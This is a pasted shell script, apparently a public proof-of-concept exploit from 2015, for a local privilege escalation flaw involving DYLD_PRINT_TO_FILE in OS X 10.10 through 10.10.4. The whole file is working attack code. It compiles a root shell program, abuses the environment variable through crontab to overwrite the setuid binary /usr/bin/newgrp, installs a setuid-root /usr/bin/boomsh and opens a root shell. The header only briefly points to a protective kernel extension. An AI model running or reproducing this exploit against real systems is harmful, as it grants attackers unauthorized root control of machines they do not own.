SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/bin/sh | |
| 2 | # | |
| 3 | # Simple Proof of Concept Exploit for the DYLD_PRINT_TO_FILE | |
| 4 | # local privilege escalation vulnerability in OS X 10.10 - 10.10.4 | |
| 5 | # | |
| 6 | # (C) Copyright 2015 Stefan Esser <[email protected]> | |
| 7 | # | |
| 8 | # Wait months for a fix from Apple or install the following KEXT as protection | |
| 9 | # https://github.com/sektioneins/SUIDGuard | |
| 10 | # | |
| 11 | # Use at your own risk. This copies files around with root permissions, | |
| 12 | # overwrites them and deletes them afterwards. Any glitch could corrupt your | |
| 13 | # system. So you have been warned. | |
| 14 | ||
| 15 | SUIDVICTIM=/usr/bin/newgrp | |
| 16 | ||
| 17 | # why even try to prevent a race condition? | |
| 18 | TARGET=`pwd`/tmpXXXXX | |
| 19 | ||
| 20 | rm -rf $TARGET | |
| 21 | mkdir $TARGET | |
| 22 | ||
| 23 | cat << EOF > $TARGET/boomsh.c | |
| 24 | #include <stdio.h> | |
| 25 | #include <stdlib.h> | |
| 26 | #include <unistd.h> | |
| 27 | ||
| 28 | int main() | |
| 29 | {
| |
| 30 | setuid(0); | |
| 31 | setgid(0); | |
| 32 | system("/bin/bash -i");
| |
| 33 | printf("done.\n");
| |
| 34 | return 0; | |
| 35 | } | |
| 36 | EOF | |
| 37 | cat << EOF > $TARGET/overwrite.c | |
| 38 | #include <sys/types.h> | |
| 39 | #include <fcntl.h> | |
| 40 | #include <unistd.h> | |
| 41 | #include <stdlib.h> | |
| 42 | #include <stdio.h> | |
| 43 | ||
| 44 | int main(int argc, char **argv) | |
| 45 | {
| |
| 46 | int fd; | |
| 47 | char buffer[1024]; | |
| 48 | ssize_t toread, numread; | |
| 49 | ssize_t numwritten; | |
| 50 | ssize_t size; | |
| 51 | ||
| 52 | /* disable O_APPEND */ | |
| 53 | fcntl(3, F_SETFL, 0); | |
| 54 | lseek(3, 0, SEEK_SET); | |
| 55 | ||
| 56 | /* write file into it */ | |
| 57 | fd = open( | |
| 58 | EOF | |
| 59 | echo "\"$TARGET/boomsh\"" >> $TARGET/overwrite.c | |
| 60 | cat << EOF >> $TARGET/overwrite.c | |
| 61 | , O_RDONLY, 0); | |
| 62 | if (fd > 0) {
| |
| 63 | ||
| 64 | /* determine size */ | |
| 65 | size = lseek(fd, 0, SEEK_END); | |
| 66 | lseek(fd, 0, SEEK_SET); | |
| 67 | ||
| 68 | while (size > 0) {
| |
| 69 | if (size > sizeof(buffer)) {
| |
| 70 | toread = sizeof(buffer); | |
| 71 | } else {
| |
| 72 | toread = size; | |
| 73 | } | |
| 74 | ||
| 75 | numread = read(fd, &buffer, toread); | |
| 76 | if (numread < toread) {
| |
| 77 | fprintf(stderr, "problem reading\n"); | |
| 78 | _exit(2); | |
| 79 | } | |
| 80 | numwritten = write(3, &buffer, numread); | |
| 81 | if (numread != numwritten) {
| |
| 82 | fprintf(stderr, "problem writing\n"); | |
| 83 | _exit(2); | |
| 84 | } | |
| 85 | ||
| 86 | size -= numwritten; | |
| 87 | ||
| 88 | } | |
| 89 | ||
| 90 | fsync(3); | |
| 91 | close(fd); | |
| 92 | } else {
| |
| 93 | fprintf(stderr, "Cannot open for reading\n"); | |
| 94 | } | |
| 95 | ||
| 96 | return 0; | |
| 97 | } | |
| 98 | EOF | |
| 99 | ||
| 100 | cp $SUIDVICTIM $TARGET/backup | |
| 101 | gcc -o $TARGET/overwrite $TARGET/overwrite.c | |
| 102 | gcc -o $TARGET/boomsh $TARGET/boomsh.c | |
| 103 | ||
| 104 | EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null | |
| 105 | echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null | |
| 106 | echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null | |
| 107 | ||
| 108 | rm -rf $TARGET | |
| 109 | ||
| 110 | /usr/bin/boomsh |
